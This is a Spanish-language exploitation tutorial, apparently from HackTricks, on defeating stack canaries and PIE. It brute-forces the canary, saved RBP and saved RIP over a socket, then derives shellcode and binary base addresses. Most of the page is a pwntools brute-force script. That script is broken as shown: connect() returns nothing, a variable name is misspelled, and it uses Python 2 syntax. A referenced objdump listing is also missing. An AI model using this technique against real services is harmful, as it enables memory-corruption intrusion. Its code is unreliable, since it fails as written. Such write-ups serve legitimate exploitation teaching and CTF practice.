4.4 KiB

BF Addresses in the Stack

{{#include ../../../banners/hacktricks-training.md}}

Si te enfrentas a un binario protegido por un canary y PIE (Position Independent Executable), probablemente necesites encontrar una forma de eludirlos.

Note

Ten en cuenta que checksec podría no encontrar que un binario está protegido por un canary si este fue compilado estáticamente y no es capaz de identificar la función.
Sin embargo, puedes notar esto manualmente si encuentras que un valor se guarda en la pila al comienzo de una llamada a función y este valor se verifica antes de salir.

Brute-Force Addresses

Para eludir el PIE necesitas filtrar alguna dirección. Y si el binario no está filtrando ninguna dirección, lo mejor que puedes hacer es fuerza bruta el RBP y RIP guardados en la pila en la función vulnerable.
Por ejemplo, si un binario está protegido usando tanto un canary como PIE, puedes comenzar a forzar bruta el canary, luego los siguientes 8 Bytes (x64) serán el RBP guardado y los siguientes 8 Bytes serán el RIP guardado.

Tip

Se supone que la dirección de retorno dentro de la pila pertenece al código binario principal, que, si la vulnerabilidad se encuentra en el código binario, generalmente será el caso.

Para forzar bruta el RBP y el RIP del binario, puedes deducir que un byte adivinado válido es correcto si el programa produce algo o simplemente no se bloquea. La misma función que se proporciona para forzar bruta el canary se puede usar para forzar bruta el RBP y el RIP:

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

Lo último que necesitas para derrotar el PIE es calcular direcciones útiles a partir de las direcciones filtradas: el RBP y el RIP.

Desde el RBP puedes calcular dónde estás escribiendo tu shell en la pila. Esto puede ser muy útil para saber dónde vas a escribir la cadena "/bin/sh\x00" dentro de la pila. Para calcular la distancia entre el RBP filtrado y tu shellcode, simplemente puedes poner un punto de interrupción después de filtrar el RBP y verificar dónde se encuentra tu shellcode, luego, puedes calcular la distancia entre el shellcode y el RBP:

INI_SHELLCODE = RBP - 1152

Desde el RIP puedes calcular la dirección base del binario PIE, que es lo que necesitarás para crear una cadena ROP válida.
Para calcular la dirección base, simplemente haz objdump -d vunbinary y verifica las últimas direcciones desensambladas:

En ese ejemplo, puedes ver que solo se necesitan 1 Byte y medio para localizar todo el código, entonces, la dirección base en esta situación será el RIP filtrado pero terminando en "000". Por ejemplo, si filtraste 0x562002970ecf, la dirección base es 0x562002970000

elf.address = RIP - (RIP & 0xfff)

Mejoras

Según algunas observaciones de esta publicación, es posible que al filtrar los valores de RBP y RIP, el servidor no se bloquee con algunos valores que no son los correctos y el script de BF pensará que obtuvo los correctos. Esto se debe a que algunas direcciones simplemente no lo romperán incluso si no son exactamente las correctas.

Según esa publicación del blog, se recomienda introducir un breve retraso entre las solicitudes al servidor.

{{#include ../../../banners/hacktricks-training.md}}